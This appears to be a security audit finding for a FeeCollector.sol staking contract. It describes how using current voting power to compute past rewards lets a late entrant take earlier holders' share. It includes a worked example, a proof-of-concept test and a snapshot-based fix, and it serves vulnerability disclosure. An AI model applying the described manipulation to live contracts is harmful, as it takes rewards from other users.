Summary
After reviewing FeeCollector.sol, I can confirm this vulnerability exists and poses a serious risk to reward distribution fairness. The current implementation uses present-time voting power snapshots for historical reward calculations.
Technical Details
function _calculatePendingRewards(address user) internal view returns (uint256) {
uint256 userVotingPower = veRAACToken.getVotingPower(user);
if (userVotingPower == 0) return 0;
uint256 totalVotingPower = veRAACToken.getTotalVotingPower();
if (totalVotingPower == 0) return 0;
uint256 share = (totalDistributed * userVotingPower) / totalVotingPower;
return share > userRewards[user] ? share - userRewards[user] : 0;
}
Impact
-
Reward Manipulation
Users can back-date claim larger shares by increasing voting power after fee distribution
Early participants get diluted by late entries
Total reward distribution may exceed intended amounts
-
Economic Impact
Time 1: Distribution of 1000 RAAC
- Alice: 100 VP (50% of 200 total) → Should get 500 RAAC
- Bob: 100 VP (50% of 200 total) → Should get 500 RAAC
Time 2: Before claims
- Charlie adds 800 VP
- New total VP = 1000
Time 3: Claims
Alice claims: (100/1000) * 1000 = 100 RAAC (Lost 400 RAAC)
Bob claims: (100/1000) * 1000 = 100 RAAC (Lost 400 RAAC)
Charlie claims: (800/1000) * 1000 = 800 RAAC (Gained 800 RAAC unfairly)
Proof of Concept
function testRewardManipulation() public {
vm.startPrank(admin);
feeCollector.collectFee(1000e18, 0);
address alice = address(1);
address bob = address(2);
veRAACToken.mint(alice, 100e18);
veRAACToken.mint(bob, 100e18);
feeCollector.distributeCollectedFees();
address charlie = address(3);
veRAACToken.mint(charlie, 800e18);
uint256 aliceReward = feeCollector.claimRewards(alice);
uint256 bobReward = feeCollector.claimRewards(bob);
uint256 charlieReward = feeCollector.claimRewards(charlie);
assert(aliceReward == 100e18);
assert(bobReward == 100e18);
assert(charlieReward == 800e18);
}
Recommended Mitigation
contract FeeCollector {
struct RewardSnapshot {
uint256 timestamp;
uint256 totalVotingPower;
uint256 rewardAmount;
}
RewardSnapshot[] public rewardSnapshots;
mapping(address => uint256) public lastClaimedIndex;
function _processDistributions(uint256 totalFees, uint256[4] memory shares) internal {
if (shares[0] > 0) {
rewardSnapshots.push(RewardSnapshot({
timestamp: block.timestamp,
totalVotingPower: veRAACToken.getTotalVotingPower(),
rewardAmount: shares[0]
}));
}
}
function _calculatePendingRewards(address user) internal view returns (uint256) {
uint256 pending = 0;
uint256 startIndex = lastClaimedIndex[user];
for (uint256 i = startIndex; i < rewardSnapshots.length; i++) {
RewardSnapshot memory snapshot = rewardSnapshots[i];
uint256 userVotingPowerAt = veRAACToken.getPastVotingPower(user, snapshot.timestamp);
pending += (snapshot.rewardAmount * userVotingPowerAt) / snapshot.totalVotingPower;
}
return pending;
}
}